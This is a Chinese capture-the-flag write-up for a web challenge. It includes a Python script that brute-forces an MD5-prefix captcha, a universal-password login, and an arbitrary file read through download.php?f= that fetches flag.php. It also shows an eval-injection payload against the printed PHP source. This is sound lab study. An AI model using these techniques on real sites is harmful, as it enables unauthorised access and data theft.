CTF-06

题目说明:get flag


1.打开链接,页面如下
CTF-06_第1张图片
2.点击Login,页面如下,是个登陆页面,有一个加密的验证码,验证码为对其进行md5加密后取前六位等于页面给定的这个字符串
CTF-06_第2张图片
3.编写python脚本,跑验证码

import hashlib

def md5(str):
    m = hashlib.md5()
    m.update(str)
    q = m.hexdigest()
    return q
arr = '0123456789abcdefghijklmnopqrstuvwxyz'
for a in arr:
    for b in arr:
        for c in arr:
            for d in arr:
                for e in arr:
                    if md5(a+b+c+d+e)[:6]=='eaf1fd':
                        print a+b+c+d+e

4.尝试万能密码登陆
CTF-06_第3张图片
5.登陆成功后,发现有三个文件可以下载,下载下来看看
CTF-06_第4张图片
6.
hello.txt内容:test
s.txt内容:yah~~what r u doing?
a.php内容:
得知flag在网站跟目录
7.查看登陆后页面的源码,发现这三个文件是通过文件包含下载下来的
文件包含路径为./file/download.php?f=
CTF-06_第5张图片
8.通过文件包含下载flag文件
106.75.26.211:2222/file/download.php?f=/var/www/html/flag.php
打开后是flag.php的源码


$f = $_POST['flag'];
$f = str_replace(array('`', '$', '*', '#', ':', '\\', '"', "'", '(', ')', '.', '>'), '', $f);
if((strlen($f) > 13) || (false !== stripos($f, 'return')))
{
        die('wowwwwwwwwwwwwwwwwwwwwwwwww');
}
try
{
         eval("\$spaceone = $f");
}
catch (Exception $e)
{
        return false;
}
if ($spaceone === 'flag'){
    echo file_get_contents("helloctf.php");
}

?>

9.通过代码审计得知给flag.php传入参数?flag=flag;即可获得helloctf.php的内容。
因为执行了一个eval()函数,要在代码末尾添加分号来结束一行代码,所以传入参数要带一个分号,进过eval()函数后分号被去掉。
10.查看源码,get flag!
CTF-06_第6张图片

你可能感兴趣的:(CTF)